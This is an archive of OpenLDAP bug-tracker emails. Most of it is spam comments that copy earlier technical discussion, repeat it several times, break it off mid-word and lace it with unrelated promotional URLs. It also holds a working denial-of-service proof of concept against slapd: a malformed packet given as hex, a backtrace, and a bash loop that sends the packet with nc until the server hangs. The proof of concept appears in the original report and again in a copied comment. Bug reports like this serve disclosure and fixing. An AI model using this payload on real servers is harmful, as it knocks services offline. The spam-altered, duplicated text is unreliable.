https://bugs.openldap.org/show_bug.cgi?id=8962
--- Comment #5 from Mehmet gelisin <mehmetgelisin(a)aol.com> ---
master:
Commits:
• 0ae71baf
by Howard Chu at 2021-07-13T12:10:28+01:00
ITS#9608 fix delete of nonexistent sessionlog http://www-look-4.com/
RE25:
Commits:
• 11e0c783
by Howard Chu at 2021-07-13T15:04:31+00:00
ITS#9608 fix delete of nonexistent sessionlog
http://www.compilatori.com/
RE24:
Commits:
• db23304b
by Howard Chu at 2021-07-13T15:05:36+00:00
ITS#9608 fix delete of nonexistent sessionlog http://www.wearelondonmade.com/
master:
Commits:
• 0ae71baf
by Howard Chu at 2021-07-13T12:10:28+01:00 http://www.jopspeech.com/
ITS#9608 fix delete of nonexistent sessionlog
RE25:
Commits:
• 11e0c783 http://joerg.li/
by Howard Chu at 2021-07-13T15:04:31+00:00
ITS#9608 fix delete of nonexistent sessionlog
RE24: http://connstr.net/
Commits:
• db23304b
by Howard Chu at 2021-07-13T15:05:36+00:00
ITS#9608 fix delete of nonexistent sessionlog
master:
Commits:
• 0ae71baf
by Howard Chu at 2021-07-13T12:10:28+01:00
ITS#9608 fix delete of nonexistent sessionlog http://embermanchester.uk/
RE25:
Commits:
• 11e0c783
by Howard Chu at 2021-07-13T15:04:31+00:00
ITS#9608 fix delete of nonexistent sessionlog
http://www.slipstone.co.uk/
RE24:
Commits:
• db23304b
by Howard Chu at 2021-07-13T15:05:36+00:00
ITS#9608 fix delete of nonexistent sessionlog
http://www.logoarts.co.uk/
but unfortunatley the FAQ software breaks Apache when you try and
delete an answer. I think the better solution is just to remove the FAQ
software completely.
I experimented a bit with a service file. It seems to work well with
either Type=forking and NotifyAccess=all, or Type=notify and
http://www.acpirateradio.co.uk/
ExecStart=slapd -d none. The latter (disabling forking) is definitely
what systemd upstream recommends.
In either case, MAINPID= didn't actually seem to help anything.
NotifyAccess=main has a chicken-and-egg problem, because systemd needs
to know the main PID in order for us to send it the message containing
the PID! :) I think the only reasonable way to leave forking enabled
https://waytowhatsnext.com/
would be to also require a PIDFile= setting, which solves that problem.
But I'd rather sidestep the entire thing, omit MAINPID= as well, and
Looking at the systemctl output I still think STATUS= is redundant and
could be omitted.
https://www.webb-dev.co.uk/
So I guess my recommendation for the notify call boils down to:
rc = sd_notify( 1, "READY=1" );
and a slapd.service along the lines of:
[Unit]
Description=OpenLDAP server
[Service]
Type=notify
ExecStart=%LIBEXECDIR%/slapd -h 'ldap:/// ldapi:///' -d0
[Install]
WantedBy=multi-user.target
(basically identical to the example in systemd.service(5).)
Side note: the version message from slapd appears in the journal twice,
once with the timestamp and once without...
I experimented a bit with a service file. It seems to work well with
either Type=forking and NotifyAccess=all, or Type=notify and
ExecStart=slapd -d none. The latter (disabling forking) is definitely
what systemd upstream recommends.
In either case, MAINPID= didn't actually seem to help anything.
NotifyAccess=main has a chicken-and-egg problem, because systemd needs
to know the main PID in order for us to send it the message containing
the PID! :) I think the only reasonable way to leave forking enabled
http://www.iu-bloomington.com/
would be to also require a PIDFile= setting, which solves that problem.
But I'd rather sidestep the entire thing, omit MAINPID= as well, and
Looking at the systemctl output I still think STATUS= is redundant and
could be omitted.
--
You are receiving this mail because:
You are on the CC list for the issue.
https://bugs.openldap.org/show_bug.cgi?id=6598
--- Comment #20 from Mehmet gelisin <mehmetgelisin(a)aol.com> ---
If non-anonymous access is needed, the slapd.access(5) manpage needs an
> update too. (Or instead, to avoid duplicating text.) Currently it just
> says: http://www-look-4.com/
>
> Auth (=x) privileges are also required on the authzTo attribute
> of the authorizing identity and/or on the authzFrom attribute of
> the authorized identity. http://www.compilatori.com/
>
> but it doesn't mention to who needs that auth access.
It http://www.wearelondonmade.com/ is the authenticated ID that needs access
in both cases. On further
thought I think it is correct that the access is checked without
reference to whether that ID has access to entry and parent entries,
as (particularly in the case of authzFrom) http://www.jopspeech.com/ the
authenticated ID may
not have any direct access to the entry whose ID it is about to
assume.
http://joerg.li/
Thus, if principal A has authenticated and wishes to perform an
operation using principal B's authorisation, the access required is:
A needs auth access to authzTo in its own entry if that attribute
is involved in giving A permission to act for B. http://connstr.net/
A needs auth access to authzFrom in B's entry if that attribute
is involved in giving A permission to act for B.
The rules are the same whether using a SASL authorization identity or
using a ProxyAuth control on an LDAP operation. http://embermanchester.uk/
Thus I think my original report was wrong. This is a documentation
issue, not a bug.
If non-anonymous access is needed, the slapd.access(5) manpage needs an
http://www.slipstone.co.uk/
> update too. (Or instead, to avoid duplicating text.) Currently it just
> says:
>
> Auth (=x) privileges are also required on the authzTo attribute http://www.logoarts.co.uk/
> of the authorizing identity and/or on the authzFrom attribute of
> the authorized identity.
>
> but it doesn't mention to who needs that auth access.
http://www.acpirateradio.co.uk/
It is the authenticated ID that needs access in both cases. On further
thought I think it is correct that the access is checked without
reference to whether that ID has access to entry and parent entries,
as (particularly in the case of authzFrom) the https://waytowhatsnext.com/
authenticated ID may
not have any direct access to the entry whose ID it is about to
assume.
Thus, if principal A has authenticated and wishes to perform an
https://www.webb-dev.co.uk/
operation using principal B's authorisation, the access required is:
A needs auth access to authzTo in its own entry if that attribute
is involved in giving A permission to act for B.
A needs auth access to authzFrom in B's entry if that attribute
is involved in giving A permission to act for B.
The rules are the same whether using a SASL authorization identity or
using a ProxyAuth control on an LDAP operation. http://www.iu-bloomington.com/
Thus I think my original report was wrong. This is a documentation
issue, not a bug.
--
You are receiving this mail because:
You are on the CC list for the issue.
https://bugs.openldap.org/show_bug.cgi?id=5963
--- Comment #9 from Mehmet gelisin <mehmetgelisin(a)aol.com> ---
It would be extremely useful to have an extended operation that allows
>> querying
>> the number of children of http://www-look-4.com/ a given (sub)tree, so that one can avoid
>> iterating
>> through the entire subtree to determine this number.
>>
> Might as well ask for the numSubordinates operational attribute to be http://www.compilatori.com/
> implemented instead, this doesn't seem to merit a new exop. And for
> numSubordinates, see the -devel archives for why we chose not to implement
> it.
http://www.wearelondonmade.com/
>
> In either case, the server still needs to iterate over all entries
> internally,
> and the result has to take ACLs and entry disclosure into account.
http://www.jopspeech.com/
An exop would allow to easily discriminate between intentional and
"catchall" requests, like "+". Moreover, it might make sense to
discriminate at least between subtree and onelevel number http://joerg.li/ of
subordinates;
this would require two distinct operational attributes, or a parameter in
the exop.
I'm not endorsing either solution, I'm just pointing out possible pros and
cons. http://connstr.net/
It would be extremely useful to have an extended operation that allows
>> querying
>> the number of children of a given (sub)tree, so that one can avoid
>> iterating http://embermanchester.uk/
>> through the entire subtree to determine this number.
>>
> Might as well ask for the numSubordinates operational attribute to be
> implemented instead, this doesn't seem to merit a new exop. And for
> numSubordinates, see the -devel archives for why we chose not to implement
> it.
http://www.slipstone.co.uk/
>
> In either case, the server still needs to iterate over all entries
> internally,
> and the result has to take ACLs and entry disclosure into account. http://www.logoarts.co.uk/
An exop would allow to easily discriminate between intentional and
"catchall" requests, like "+". Moreover, it might make sense to
discriminate at least between subtree and onelevel number of subordinates;
http://www.acpirateradio.co.uk/
this would require two distinct operational attributes, or a parameter in
the exop.
I'm not endorsing either solution, https://waytowhatsnext.com/ I'm just
pointing out possible pros and
cons.
>> A simple "./configure --prefix=/whatever" ought to be a reasonable way
>> to build OpenLDAP, like with most other packages. There are
>> installation instructions and they do not mention NDEBUG.
I strongly concur with Hallvard here. http://www.iu-bloomington.com/
> Every use of assert is "assert(the code is correct)" - but that often depends
> on dynamic state, not just the statically written code.
Yes, dynamic state including invalid input. But IMO "assert(the code is
correct)" should never be hit no matter how bad the input was. And it should
definitely not crash the server (with system's ressource limits being a
https://www.webb-dev.co.uk/
unavoidable exception). Rephrasing: The meaning of the statement "the code is
correct" should also include "invalid input is properly handled as error" - no
matter what.
--
You are receiving this mail because:
You are on the CC list for the issue.
https://bugs.openldap.org/show_bug.cgi?id=4730
--- Comment #20 from Mehmet gelisin <mehmetgelisin(a)aol.com> ---
If I explicitly remove all object classes of an entry by value and re-add some
> of them the modify requests fail with
> "Type or value exists: modify/add: objectClass: value #1 http://www-look-4.com/ already exists"
>
> Unfortunately I cannot provide a simple example for showing this. Specific
> configuration and data upon request since it's private data which MUST NOT be
> disclosed. http://www.compilatori.com/
I could not reproduce it. Probably, the best way to proceed is:
1) write down the objectClass values before and after the attempted
http://www.wearelondonmade.com/
modifications
2) classify them as ABSTRACT, STRUCTURAL, AUXILIARY
3) indicate any inheritance relationship
4) send the outcome of (2) and (3) after mangling the objectClass names
as required.
http://www.jopspeech.com/
This should allow you (and others) to try to reproduce the issue without
the need to disclose your info.
http://joerg.li/
If I explicitly remove all object classes of an entry by value and re-add some
> of them the modify requests fail with
> "Type or value exists: modify/add: objectClass: value #1 already exists" http://connstr.net/
>
> Unfortunately I cannot provide a simple example for showing this. Specific
> configuration and data upon request since it's private data which MUST NOT be
> disclosed.
http://embermanchester.uk/
I could not reproduce it. Probably, the best way to proceed is:
1) write down the objectClass values before and after the attempted
modifications
2) classify them as ABSTRACT, STRUCTURAL, AUXILIARY
3) indicate any inheritance relationship http://www.slipstone.co.uk/
4) send the outcome of (2) and (3) after mangling the objectClass names
as required.
This should allow you (and others) to try to reproduce the issue without
the need to disclose your info. http://www.logoarts.co.uk/
If I explicitly remove all object classes of an entry by value and re-add some
> of them the modify requests fail with
> "Type or value exists: modify/add: objectClass: value #1 already exists" http://www.acpirateradio.co.uk/
>
> Unfortunately I cannot provide a simple example for showing this. Specific
> configuration and data upon request since it's private data which MUST NOT be
> disclosed. https://waytowhatsnext.com/
I could not reproduce it. Probably, the best way to proceed is:
1) write down the objectClass values before and after the attempted
modifications
2) classify them as ABSTRACT, STRUCTURAL, AUXILIARY https://www.webb-dev.co.uk/
3) indicate any inheritance relationship
4) send the outcome of (2) and (3) after mangling the objectClass names
as required.
This should allow you (and others) to try to reproduce the issue without
the need to disclose your info http://www.iu-bloomington.com/ .
--
You are receiving this mail because:
You are on the CC list for the issue.
https://bugs.openldap.org/show_bug.cgi?id=6656
--- Comment #9 from Mehmet gelisin <mehmetgelisin(a)aol.com> ---
his overlay provides simple support for allowedAttributes and
allowedAttributesEffective, a (somewhat broken) AD feature that
http://www-look-4.com/ is intended to
help GUIs into determining, based on the current objectClass values of an
object, what attributes would comply with the schema (without distinction
between "allowed" and "required"), by listing them in
http://www.compilatori.com/ "allowedAttributes", and,
furthermore, by providing a hint to what of those values could be effectively
added by the current connection, by listing them in
http://www.wearelondonmade.com/
"allowedAttributesEffective". This is broken since it doesn't consider the
possibility of value-dependent ACLs, so it should really be considered just a
hint, while the "allowedAttributes" http://www.jopspeech.com/ could really be
computed starting from the
schema definition, which remains the recommended way to solve the problem
http://joerg.li/
So this overlay should really be considered only food for thought as a starting
base for a tighter integration of OpenLDAP into Samba4.
There's minimal support for "allowedChildClasses" and http://connstr.net/
"allowedChildClassesEffective", whose definition is absolutely obscure to me,
as
I believe the only classes that can be added to an existing object are all the
AUXILIARY ones, while considering what are effectively allowed implies getting
into value-dependent ACLs. http://embermanchester.uk/
Some discussion can be found here (follow the thread)
his overlay provides simple support for allowedAttributes and
allowedAttributesEffective, a (somewhat broken) AD feature that is intended to
help GUIs into determining, based on the current objectClass values of an
http://www.slipstone.co.uk/
object, what attributes would comply with the schema (without distinction
between "allowed" and "required"), by listing them in "allowedAttributes", and,
furthermore, by providing a hint to what of http://www.logoarts.co.uk/ those
values could be effectively
added by the current connection, by listing them in
"allowedAttributesEffective". This is broken since it doesn't consider the
possibility of value-dependent ACLs, so it should really be considered just a
http://www.acpirateradio.co.uk/
hint, while the "allowedAttributes" could really be computed starting from the
schema definition, which remains the recommended way to solve the problem
So this overlay should really be considered only
http://www.acpirateradio.co.uk/ food for thought as a starting
base for a tighter integration of OpenLDAP into Samba4.
There's minimal support for "allowedChildClasses" and
https://waytowhatsnext.com/
"allowedChildClassesEffective", whose definition is absolutely obscure to me,
as
I believe the only classes that can be added to an existing object are all the
AUXILIARY ones, while considering what are effectively allowed implies getting
into value-dependent ACLs.
https://www.webb-dev.co.uk/
Some discussion can be found here (follow the thread)
So I guess my recommendation for the notify call boils down to:
rc = sd_notify( 1, "READY=1" );
and a slapd.service along the lines of:
[Unit]
Description=OpenLDAP server
[Service]
Type=notify http://www.iu-bloomington.com/
ExecStart=%LIBEXECDIR%/slapd -h 'ldap:/// ldapi:///' -d0
[Install]
WantedBy=multi-user.target
(basically identical to the example in systemd.service(5).)
Side note: the version message from slapd appears in the journal twice,
once with the timestamp and once without...
--
You are receiving this mail because:
You are on the CC list for the issue.
https://bugs.openldap.org/show_bug.cgi?id=6899
--- Comment #11 from Mehmet gelisin <mehmetgelisin(a)aol.com> ---
> Note that with assertion control always
>> Operations error: "unique_search failed"
>> is returned even if the attribute values http://www-look-4.com/ are unique.
>>
>> I'd really like to get this solved. web2ldap makes use of the assertion
>> control to ensure that an entry has not been changed since being
>> edited by the
>> user. Otherwise I have to implement another vendor-specific hack http://www.compilatori.com/
>> switching off
>> this feature when OpenLDAP is used as server. :-(
>
> First step toward a solution would be providing slapd -d output for the
> problem. Probably a sample config would help too. http://www.wearelondonmade.com/
(Sigh! Did anybody actually read through my report?)
http://www.jopspeech.com/
Take any slapd.conf with database hdb and add these lines (no other overlays
configured):
overlay unique
unique_attributes uid uidNumber employeeNumber http://joerg.li/
Or any other LDAP-URL-based unique constraint...
Then apply a LDIF change record (example below) which contains any of the
http://connstr.net/
attributes defined as unique (no matter whether unique constraint is violated
or not).
------------------------------- snip -------------------------------
dn: cn=Anna Blume,ou=Users,ou=schulung,dc=stroeder,dc=local
changetype: modify
replace: employeeNumber http://embermanchester.uk/
employeeNumber: 456
-
------------------------------- snip -------------------------------
Try these commands (bind-DN is the rootdn here):
http://www.slipstone.co.uk/
Without assertion control it works:
$ ldapmodify -H ldap://localhost:2071 -D
"uid=diradm,ou=schulung,dc=stroeder,dc=local" -w testsecret -f unique.ldif
modifying entry "cn=Anna Blume,ou=Users,ou=schulung,dc=stroeder,dc=local"
http://www.logoarts.co.uk/
Assertion control just contains objectClass filter:
$ ldapmodify -H ldap://localhost:2071 -D
"uid=diradm,ou=schulung,dc=stroeder,dc=local" -w testsecret -f unique.ldif -e
'assert=(objectClass=*)'
modifying entry "cn=Anna Blume,ou=Users,ou=schulung,dc=stroeder,dc=local"
http://www.acpirateradio.co.uk/
This fails:
$ ldapmodify -H ldap://localhost:2071 -D
"uid=diradm,ou=schulung,dc=stroeder,dc=local" -w testsecret -f unique.ldif -e
'assert=(cn=*)'modifying entry "cn=Anna
Blume,ou=Users,ou=schulung,dc=stroeder,dc=local"
ldap_modify: Operations error (1)
additional info: unique_search failed
> Note that with assertion control always
>> Operations error: "unique_search failed" https://waytowhatsnext.com/
>> is returned even if the attribute values are unique.
>>
>> I'd really like to get this solved. web2ldap makes use of the assertion
>> control to ensure that an entry has not been changed since being
>> edited by the
>> user. Otherwise I have to implement another vendor-specific hack
>> switching off
>> this feature when OpenLDAP is used as server. :-(
>
> First step toward a solution would be providing slapd -d output for the
> problem. Probably a sample config would help too. https://www.webb-dev.co.uk/
(Sigh! Did anybody actually read through my report?)
Take any slapd.conf with database hdb and add these lines (no other overlays
configured):
overlay unique
unique_attributes uid uidNumber employeeNumber
Or any other LDAP-URL-based unique constraint...
Then apply a LDIF change record (example below) which contains any of the
attributes defined as unique (no matter whether unique constraint is violated
or not).
------------------------------- snip -------------------------------
dn: cn=Anna Blume,ou=Users,ou=schulung,dc=stroeder,dc=local
changetype: modify
replace: employeeNumber
employeeNumber: 456
-
------------------------------- snip -------------------------------
Try these commands (bind-DN is the rootdn here):
Without assertion control it works:
$ ldapmodify -H ldap://localhost:2071 -D http://www.iu-bloomington.com/
"uid=diradm,ou=schulung,dc=stroeder,dc=local" -w testsecret -f unique.ldif
modifying entry "cn=Anna Blume,ou=Users,ou=schulung,dc=stroeder,dc=local"
Assertion control just contains objectClass filter:
$ ldapmodify -H ldap://localhost:2071 -D
--
You are receiving this mail because:
You are on the CC list for the issue.
https://bugs.openldap.org/show_bug.cgi?id=9428
Issue ID: 9428
Summary: DoS due to infinite packet processing in slapd
Product: OpenLDAP
Version: unspecified
Hardware: All
OS: All
Status: UNCONFIRMED
Severity: normal
Priority: ---
Component: slapd
Assignee: bugs(a)openldap.org
Reporter: phasip(a)gmail.com
Target Milestone: ---
Processing of a packet results in the command handling thread becomming stuck
in an infinite loop.
After sending 32 of theese slapd doesn't respond to any new queries and
consumes 100% cpu
Packet
00000000: 3036 0200 7730 300b 312e 332e 362e 312e 06..w00.1.3.6.1.
00000010: 312e 3881 1030 0130 0030 3030 3030 3030 1.8..0.0.0000000
00000020: 3030 3030 3030 0030 3030 3030 3030 3030 000000.000000000
00000030: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000
00000040: 30 0
GDB backtrace
(gdb) thread 3
[Switching to thread 3 (Thread 0x7fff8aad2700 (LWP 12))]
#0 0x00007ffff7eb489b in sched_yield ()
at ../sysdeps/unix/syscall-template.S:78
78 ../sysdeps/unix/syscall-template.S: No such file or directory.
(gdb) bt
#0 0x00007ffff7eb489b in sched_yield ()
at ../sysdeps/unix/syscall-template.S:78
#1 0x0000555555671671 in ldap_pvt_thread_yield () at thr_posix.c:249
#2 0x00005555555d9255 in cancel_extop (op=0x7fff7c001160, rs=<optimized
out>)
at cancel.c:143
#3 0x00005555555b449a in fe_extended (op=0x7fff7c001160,
rs=0x7fff8aad1a80)
at extended.c:225
#4 0x00005555555b41c2 in do_extended (op=0x7fff7c001160,
rs=0x7fff8aad1a80)
at extended.c:175
#5 0x0000555555583d09 in connection_operation
(ctx=ctx@entry=0x7fff8aad1ba0,
arg_v=0x7fff7c001160) at connection.c:1163
#6 0x0000555555584370 in connection_read_thread (ctx=0x7fff8aad1ba0,
argv=0xc)
at connection.c:1314
#7 0x0000555555671080 in ldap_int_thread_pool_wrapper
(xpool=0x555555799240)
at tpool.c:1051
#8 0x00007ffff7faa609 in start_thread (arg=<optimized out>)
at pthread_create.c:477
#9 0x00007ffff7ed1293 in clone ()
at ../sysdeps/unix/sysv/linux/x86_64/clone.S:95
Testing:
docker run --privileged -it --net=host --entrypoint gdb phasip/openldap
/openldap/servers/slapd/slapd -ex 'set args -h ldap://:1389/ -d 256' -ex 'run'
for i in {1..32}; do echo -en
'\x30\x36\x02\x00\x77\x30\x30\x0b\x31\x2e\x33\x2e\x36\x2e\x31\x2e\x31\x2e\x38\x81\x10\x30\x01\x30\x00\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x00\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30'
| timeout 1 nc localhost 1389 & done
--
You are receiving this mail because:
You are on the CC list for the issue.
https://bugs.openldap.org/show_bug.cgi?id=8707
--- Comment #32 from Mehmet gelisin <mehmetgelisin(a)aol.com> ---
rocessing of a packet results in the command handling thread becomming stuck in
an infinite loop.
After sending http://www-look-4.com/ 32 of theese slapd doesn't respond to
any new queries and consumes 100% cpu
Packet
00000000: 3036 0200 7730 300b 312e 332e 362e 312e 06..w00.1.3.6.1.
00000010: 312e 3881 1030 0130 0030 3030 http://www.compilatori.com/ 3030
3030 1.8..0.0.0000000
00000020: 3030 3030 3030 0030 3030 3030 3030 3030 000000.000000000
00000030: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000
00000040: 30 0
http://www.wearelondonmade.com/
GDB backtrace
(gdb) thread 3
[Switching to thread 3 (Thread 0x7fff8aad2700 (LWP 12))]
#0 0x00007ffff7eb489b in sched_yield () http://www.jopspeech.com/
at ../sysdeps/unix/syscall-template.S:78
78 ../sysdeps/unix/syscall-template.S: No such file or directory.
http://joerg.li/
(gdb) bt
#0 0x00007ffff7eb489b in sched_yield ()
at ../sysdeps/unix/syscall-template.S:78
#1 0x0000555555671671 in ldap_pvt_thread_yield () at thr_posix.c:249
http://connstr.net/
#2 0x00005555555d9255 in cancel_extop (op=0x7fff7c001160, rs=<optimized
out>)
at cancel.c:143
#3 0x00005555555b449a in fe_extended (op=0x7fff7c001160,
rs=0x7fff8aad1a80)
at extended.c:225
#4 0x00005555555b41c2 in do_extended (op=0x7fff7c001160,
rs=0x7fff8aad1a80)
at extended.c:175 http://embermanchester.uk/
#5 0x0000555555583d09 in connection_operation
(ctx=ctx@entry=0x7fff8aad1ba0,
arg_v=0x7fff7c001160) at connection.c:1163
#6 0x0000555555584370 in connection_read_thread (ctx=0x7fff8aad1ba0,
argv=0xc)
at connection.c:1314 http://www.slipstone.co.uk/
#7 0x0000555555671080 in ldap_int_thread_pool_wrapper
(xpool=0x555555799240)
at tpool.c:1051
#8 0x00007ffff7faa609 in start_thread (arg=<optimized out>)
at pthread_create.c:477
#9 0x00007ffff7ed1293 in clone () http://www.logoarts.co.uk/
at ../sysdeps/unix/sysv/linux/x86_64/clone.S:95
Testing:
docker run --privileged -it --net=host --entrypoint gdb phasip/openldap
/openldap/servers/slapd/slapd -ex 'set args -h ldap://:1389/ -d 256' -ex 'run'
for i in {1..32}; do echo -en
'\x30\x36\x02\x00\x77\x30\x30\x0b\x31\x2e\x33\x2e\x36\x2e\x31\x2e\x31\x2e\x38\x81\x10\x30\x01\x30\x00\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x00\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30'
http://www.acpirateradio.co.uk/ | timeout 1 nc localhost 1389 & done
rocessing of a packet results in the command handling thread becomming stuck in
an infinite loop.
After sending 32 of theese slapd doesn't respond to any new queries and
consumes 100% cpu
https://waytowhatsnext.com/
Packet
00000000: 3036 0200 7730 300b 312e 332e 362e 312e 06..w00.1.3.6.1.
00000010: 312e 3881 1030 0130 0030 3030 3030 3030 1.8..0.0.0000000
00000020: 3030 3030 3030 0030 3030 3030 3030 3030 000000.000000000
00000030: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000
00000040: 30 0
GDB backtrace
(gdb) thread 3
[Switching to thread 3 (Thread 0x7fff8aad2700 (LWP 12))]
#0 0x00007ffff7eb489b in sched_yield ()https://www.webb-dev.co.uk/
at ../sysdeps/unix/syscall-template.S:78
78 ../sysdeps/unix/syscall-template.S: No such file or directory.
(gdb) bt
#0 0x00007ffff7eb489b in sched_yield ()
at ../sysdeps/unix/syscall-template.S:78
#1 0x0000555555671671 in ldap_pvt_thread_yield () at thr_posix.c:249
#2 0x00005555555d9255 in cancel_extop (op=0x7fff7c001160, rs=<optimized
out>)
at cancel.c:143
#3 0x00005555555b449a in fe_extended (op=0x7fff7c001160,
rs=0x7fff8aad1a80)
at extended.c:225
#4 0x00005555555b41c2 in do_extended (op=0x7fff7c001160,
rs=0x7fff8aad1a80)
at extended.c:175 http://www.iu-bloomington.com/
#5 0x0000555555583d09 in connection_operation
(ctx=ctx@entry=0x7fff8aad1ba0,
arg_v=0x7fff7c001160) at connection.c:1163
#6 0x0000555555584370 in connection_read_thread (ctx=0x7fff8aad1ba0,
argv=0xc)
at connection.c:1314
#7 0x0000555555671080 in ldap_int_thread_pool_wrapper
(xpool=0x555555799240)
at tpool.c:1051
#8 0x00007ffff7faa609 in start_thread (arg=<optimized out>)
at pthread_create.c:477
#9 0x00007ffff7ed1293 in clone ()
at ../sysdeps/unix/sysv/linux/x86_64/clone.S:95
Testing:
docker run --privileged -it --net=host --entrypoint gdb phasip/openldap
/openldap/servers/slapd/slapd -ex 'set args -h ldap://:1389/ -d 256' -ex 'run'
for i in {1..32}; do echo -en
'\x30\x36\x02\x00\x77\x30\x30\x0b\x31\x2e\x33\x2e\x36\x2e\x31\x2e\x31\x2e\x38\x81\x10\x30\x01\x30\x00\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x00\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30'
| timeout 1 nc localhost 1389 & done
--
You are receiving this mail because:
You are on the CC list for the issue.
https://bugs.openldap.org/show_bug.cgi?id=8197
--- Comment #2 from Mehmet gelisin <mehmetgelisin(a)aol.com> ---
Thanks for working on this! I'm also interested in having this feature.
http://www-look-4.com/
What do you think about including a slapd.service file? I know OpenLDAP
has traditionally not included an init script, but systemd units are
intended to be distro-agnostic as far as possible, http://www.compilatori.com/
and shipped by
upstream projects in most cases, unlike init scripts. Ideally I'd like
to include a template in the source and have the build system fill in
the autoconf'ed path (i.e. to slapd) and have 'make install' install it
to the right place. http://www.wearelondonmade.com/
Autoconf bits look fine to me.
>+ rc = sd_notifyf( 1,
>+ "READY=1\n"
>+ "STATUS=slapd: ready to serve connections...\n" http://www.jopspeech.com/
>+ "MAINPID=%lu",
>+ (unsigned long) getpid() );
unset_environment=1 seems reasonable, http://joerg.li/ it's a little
unfortunate that we
can't call (for example) sd_notify("STOPPING=1") afterward, but it feels
worthwhile compared to having to sanitize the environment when forking a
child process. http://connstr.net/
I'm not sure the STATUS= message adds value compared to just the basic
readiness notification; can you comment on why you included it?
http://embermanchester.uk/
I guess MAINPID= is actually needed, unless we run slapd with -d, regardless of
whether we set Type=forking or Type=notify. Not exactly "needed", but better to
have it than not.
I see you've placed this call later than the parent's exit point. Any
comments about the timing of this relative to the parent's exit, and to
the listener startup and so on? Are the listeners more likely to be
http://embermanchester.uk/
ready to serve connections at this point? I seem to recall that in the
past there was opposition to moving the parent's exit later, but I can't
remember why. (and I still wish we could do that, and dispense with the
ldapsearch-loop hacks...)
http://www.slipstone.co.uk/
Thanks for working on this! I'm also interested in having this feature.
What do you think about including a slapd.service file? I know OpenLDAP
has traditionally not included an init script, but systemd units are
intended to be distro-agnostic as far as possible, http://www.logoarts.co.uk/
and shipped by
upstream projects in most cases, unlike init scripts. Ideally I'd like
to include a template in the source and have the build system fill in
the autoconf'ed path (i.e. to slapd) and have 'make install' install it
to the right place. http://www.acpirateradio.co.uk/
Autoconf bits look fine to me.
>+ rc = sd_notifyf( 1,
>+ "READY=1\n"
>+ "STATUS=slapd: ready to serve connections...\n"
>+ "MAINPID=%lu", https://waytowhatsnext.com/
>+ (unsigned long) getpid() );
unset_environment=1 seems reasonable, it's a little unfortunate that we
can't call (for example) sd_notify("STOPPING=1") afterward, but it feels
worthwhile compared to having to sanitize the environment when forking a
child process. https://www.webb-dev.co.uk/
I'm not sure the STATUS= message adds value compared to just the basic
readiness notification; can you comment on why you included it?
I guess MAINPID= is actually needed, unless we run slapd with -d, regardless of
whether we set Type=forking or Type=notify. Not exactly "needed", but better to
have it than not.
http://www.iu-bloomington.com/
I see you've placed this call later than the parent's exit point. Any
comments about the timing of this relative to the parent's exit, and to
the listener startup and so on? Are the listeners more likely to be
ready to serve connections at this point? I seem to recall that in the
past there was opposition to moving the parent's exit later, but I can't
remember why. (and I still wish we could do that, and dispense with the
ldapsearch-loop hacks...)
--
You are receiving this mail because:
You are on the CC list for the issue.